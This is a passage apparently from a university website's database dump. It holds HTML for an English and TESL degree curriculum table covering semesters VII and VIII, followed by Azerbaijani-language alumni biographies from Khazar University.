0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>EDU\r\n  302</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Curriculum\r\n  Development and Assessment Strategies&nbsp; </p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>Total</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>15</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Total</strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>18</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr id=\"zebra\">\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:299.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"400\">\r\n  <strong>VII\r\n  semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:332.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"443\">\r\n <strong>VIII\r\n  semester (Spring)</strong>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>EDU\r\n  407 </strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Practice\r\n  </p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>6</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>M/R</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>EDU\r\n  410</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Internship</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>6</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>TESL 428</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>Methods of TESL </strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>TESL 462</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Materials development for\r\n  teaching languages&nbsp; </strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>TESL\r\n  445 LING\r\n  505</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>TESL to young learners </strong>&nbsp;</p>\r\n  <p>Applied Linguistics in\r\n  Teaching English<strong></strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>ME</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>LING 502</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Second Language\r\n  Acquisition </p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL 415</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>British Literature 2</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL 417 ENGL 415</strong></p>\r\n  <p><strong>TESL\r\n  470</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>World literature </p>\r\n  <p>American literature &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n  <p><strong>TESL\r\n  to students with special needs </strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>ME</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL\r\n  31</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>History\r\n  of the English Language</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>18</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>15</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n </tbody></table>'),(921,605,'en','Affiliated Programs','Affiliated Programs',''),(922,606,'az','Məzunlar və dostlar','Məzunlar və dostlar','<p><strong>Gülnaz Hacıyeva&nbsp;</strong><strong><img src=\"/files/eng_depart/gulnaz_haciyeva.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:208px\"></strong></p>\r\n<p style=\"text-align:justify\">2001-ci ildə Xəzər Universitetinin Humanitar və Sosial Elmlər fakültəsinin Ingilis dili və Ədəbiyyatı Departamentinin (Britaniya&nbsp; ədəbiyyatı) fəxri diplomu ilə MA dərəcəsini almışdır. 2009-cu ildən bu günə kimi Xəzər Universitetinin İngilis dili və Ədəbiyyatı Departamentində ingilis dili müəlliməsi kimi fəaliyyət göstərir.</p>\r\n<p><br></p>\r\n<p><br></p>\r\n<p><br></p>\r\n<p><br></p><p><br></p>\r\n<p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><strong>Pərvin Kərimova</strong><strong><img src=\"/files/image/14_05_26_Parvin_Karimova.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"></strong></p>\r\n<p style=\"text-align:justify\">Xəzər Universitetinin İngilis dili və Ədəbiyyatı Departamentinin Bakalavr dərəcəsini &nbsp;2008-ci ildə İngilis dili və ədəbiyyatı (English-Persian) fərqlənmə diplomu ilə bitirmişdir.&nbsp;2009-cu ildən&nbsp; Xəzər Universitetində &nbsp;ingilis dilindən bir sıra fənləri tədris etmişdir.</p>\r\n<p><br></p>\r\n<p><br></p>\r\n<p><br></p>\r\n<p><br></p>\r\n<p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><img src=\"/files/eng_depart/Zarifa.jpg\" style=\"float:left;width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong>Zərifə Əliyeva</strong></p><p style=\"text-align:justify\">2000-ci ildə İngilis dili və ədəbiyyatı Departamentinin Humanitar və Sosial Elmlər fakültəsinin Bakalavr dərəcəsini fəxri diplom ilə bitirmişdir. Daha sonra o, 2001-ci ildə, Xəzər Universitetinin &nbsp;İngilis dili və Ədəbiyyatı Departamentinin MA dərəcəsini fəxri diplom ilə bitirmişdir. O, 2000-ci ildən Xəzər Universitetində tədris edir. 2013-cü il Fevralından Xəzər Universitetinin Təhsil fakültəsinin vitse-Dekanı vəzifəsində çalışır.&nbsp;</p>\r\n<p><br></p>\r\n<p><br></p>\r\n<p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><img src=\"http://www.khazar.org/files/pdf/leyla.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:197px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong>Leyla Rəhimova</strong></p>\r\n<p style=\"text-align:justify\">1998-ci ildə Xəzər Universitetinə\r\ndaxil olmuş və 2002 – ci ildə Bakalavr 